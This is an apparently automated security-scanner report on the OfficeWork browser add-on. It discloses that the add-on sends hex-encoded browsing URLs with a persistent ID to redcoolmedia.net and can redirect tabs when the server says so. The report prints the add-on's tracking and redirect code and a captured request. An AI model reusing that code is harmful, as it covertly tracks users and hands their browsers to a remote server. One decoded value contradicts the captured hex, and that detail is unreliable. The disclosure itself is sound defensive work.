Is Office online OfficeWork for XLS DOC and PPT safe?

High risk

OfficeWork sends the URL of nearly every page you visit to a third-party server and can be told to redirect your tab.

On almost every tab switch or page load, the extension reads the current tab's URL, tags it with a persistent per-install identifier, and sends it to stream.redcoolmedia.net, unrelated to its stated document-viewing purpose. If that server's response contains the text "302", the extension immediately navigates the active tab to a redcoolmedia.net URL, giving the vendor's backend remote control over when a visited tab gets redirected, with no user confirmation.

RedCoolMediav1.4.4Firefox Add-ons
75Risk

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

OfficeWork reports the URL of nearly every page you visit to redcoolmedia.net

We observed the extension send the hex-encoded full URL of each page visited, search terms included, to stream.redcoolmedia.net, with the same per-install ID on every request.

Severity
High unwanted
Type
Unexpected
CWE
CWE-359
Source
Dynamic sandbox
What actually happens
You did this

You switch tabs or navigate to any page whose address contains "http" and isn't on redcoolmedia.net.

The check excludes only URLs containing the substring "redco".

The extension did this

The extension sends that page's full URL, hex-encoded, plus a persistent per-install ID, to stream.redcoolmedia.net.

We observed one request per page visited during dynamic analysis, each carrying the same install ID.

Captured request
GEThttps://stream.redcoolmedia.net/api/officeworku.php?l=68747470733a2f2f7777772e616d617a6f6e2e636f6d2f733f6b3d6c6170746f70&hex=1&u=nrqS440SNb

HTTP 200. Reply body was the text 1200 after four blank lines.

Why you can't catch this in DevTools

The visited URL is hex-encoded before it is sent, so it does not read as a URL in a network log. This value was captured during dynamic analysis; it decodes to an eBay search, search term included.

Decoded value
https://www.ebay.com/sch/i.html?_nkw=phone
Fields sent to stream.redcoolmedia.net, values as captured
  • Visited page URL
    l=68747470733a2f2f7777772e616d617a6f6e2e636f6d2f733f6b3d6c6170746f70

    The full address of the page you are on, including any search terms in it.

  • Persistent install ID
    u=nrqS440SNb

    A random ID made once and stored locally. It was identical on every request we captured.

  • Hex flag
    hex=1

    Tells the server the URL field is hex-encoded.

The code that does this

The tab listeners and the reporting function

Readable version

handleTabChange() runs on every switch and navigation

web.js (renamed)
function handleTabChange(tabId) {  chrome.tabs.get(tabId, function(tab) {    const isEligible = tab.url.indexOf("redco") === -1 && tab.url.indexOf("http") !== -1 && lastReportedUrl !== tab.url;    if (isEligible) {      const urlToReport = tab.url;      reportVisitedUrl(urlToReport);      lastReportedUrl = tab.url;    }  });}function backgroundController() {  this.init = function () {    chrome.tabs.onActivated.addListener(function(activeInfo) {      try { handleTabChange(activeInfo.tabId); } catch (error) {}    });    chrome.tabs.onUpdated.addListener(function(tabId, changeInfo, tab) {      try { handleTabChange(tabId); } catch (error) {}    });  };}

reportVisitedUrl() loads/creates the persistent ID and sends the request

web.js (renamed)
async function reportVisitedUrl(visitedUrl) {  let installState = { installId: null, reportingEnabled: null };  const STORAGE_KEY = "redcool_key";  const storageResult = await chrome.storage.local.get([STORAGE_KEY]);  if (STORAGE_KEY in storageResult) {    installState = storageResult[STORAGE_KEY];  }  let installId = installState.installId || generateRandomId(10).toLowerCase();  installState.installId = installId;  let reportingEnabled = installState.reportingEnabled || "1";  installState.reportingEnabled = "1";  await chrome.storage.local.set({ [STORAGE_KEY]: installState });  if (installState.reportingEnabled === "0") return;  const response = await fetch('https://stream.redcoolmedia.net/api/officeworku.php?l=' + hexEncode(visitedUrl) + '&hex=1&u=' + installId);

hexEncode() converts the URL string to hex

web.js (renamed)
function hexEncode(text) {  let hex = '';  for (let i = 0; i < text.length; i++) {    const byte = text.charCodeAt(i).toString(16);    hex += byte.length < 2 ? '0' + byte : byte;  }  return hex;}
Check if you're affected

Decodes the hex-encoded "l" query parameter of a captured officeworku.php request back into the plaintext URL that was reported.

Requires
  • Python 3
decode_officeworku_request.py · py
#!/usr/bin/env python3import sysfrom urllib.parse import urlparse, parse_qsdef decode_hex_url(value: str) -> str:    return bytes.fromhex(value).decode("utf-8", errors="replace")def main():    if len(sys.argv) != 2:        print("usage: decode_officeworku_request.py <hex_value_or_full_request_url>")        sys.exit(1)    arg = sys.argv[1]    if arg.startswith("http"):        parsed = urlparse(arg)        qs = parse_qs(parsed.query)        hex_value = qs.get("l", [None])[0]        if not hex_value:            print("no 'l' query parameter found in the given URL")            sys.exit(1)    else:        hex_value = arg    print(decode_hex_url(hex_value))if __name__ == "__main__":    main()
How to run it
  1. 1Capture a GET request to stream.redcoolmedia.net/api/officeworku.php.
  2. 2Copy the value of the 'l' query parameter, or the full request URL.
  3. 3Run: python3 decode_officeworku_request.py <value>
How we ran it

This is a Firefox add-on. To load it in our Chrome-based test browser we changed one manifest entry so web.js runs as a service worker instead of a background script. The extension code was not modified.

OfficeWork lets redcoolmedia.net redirect your active tab on demand

Code analysis shows the same URL-reporting request doubles as a remote trigger: if the server's response contains "302", the extension immediately navigates your active tab to a redcoolmedia.net URL.

Severity
Medium unwanted
Type
Unexpected
CWE
CWE-506
Source
Static analysis
What actually happens
You did this

The stream.redcoolmedia.net response to a reported page URL contains the substring "302" anywhere in its body.

The extension did this

The extension immediately navigates your active tab to a redcoolmedia.net URL, with no click or confirmation.

The condition and the destination are set entirely by the vendor's backend, per reported URL or user.

How the redirect destination is built
  • Reported page URL, reused
    url=68747470733a2f2f7777772e6e7974696d65732e636f6d2f...

    The same hex-encoded page URL you were reporting, now reused to build the redirect destination.

  • Persistent install ID
    u=k3j9dq2m1x

    Your persistent install ID, carried over into the redirect destination URL.

The code that does this

The response check and the forced tab navigation

Readable version
web.js (renamed)
const reportResponse = await fetch('https://stream.redcoolmedia.net/api/officeworku.php?l=' + hexEncode(visitedUrl) + '&hex=1&u=' + installId);if (reportResponse.status === 200) {  const responseText = await reportResponse.text();  const shouldRedirect = responseText.indexOf("302") !== -1;  if (shouldRedirect) {    const redirectUrl = 'https://www.redcoolmedia.net/api/app-officework.php?url=' + hexEncode(visitedUrl) + '&u=' + installId;    chrome.tabs.update(chrome.tabs.getCurrent().id, { url: redirectUrl });  }}
Third-party destinations
    • www.redcoolmedia.net

    Redirect destination the vendor's backend can send your active tab to at any time, for any reported URL.

What we did and didn't observe

We reviewed the shipped source but did not capture a live "302" response, so we have not observed the redirect fire. The backend sets the condition and could trigger it for any reported URL or user, with no client-side opt-out.

Observation

Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.

What it can do

Permissions this extension asks for, as declared in version 1.4.4. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.

  • Store data in your browser

    storage

  • See the address and title of every tab you have open

    tabs

Where it sends data

Destinations our analysis observed Office online OfficeWork for XLS DOC and PPT contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.

  • www.redcoolmedia.net

    Office online OfficeWork for XLS DOC and PPT sends data to www.redcoolmedia.net. 16 other extensions we have analyzed send data here.

  • stream.redcoolmedia.net

    Office online OfficeWork for XLS DOC and PPT sends data to stream.redcoolmedia.net. 10 other extensions we have analyzed send data here.

Updated 22 October 2026amo-829647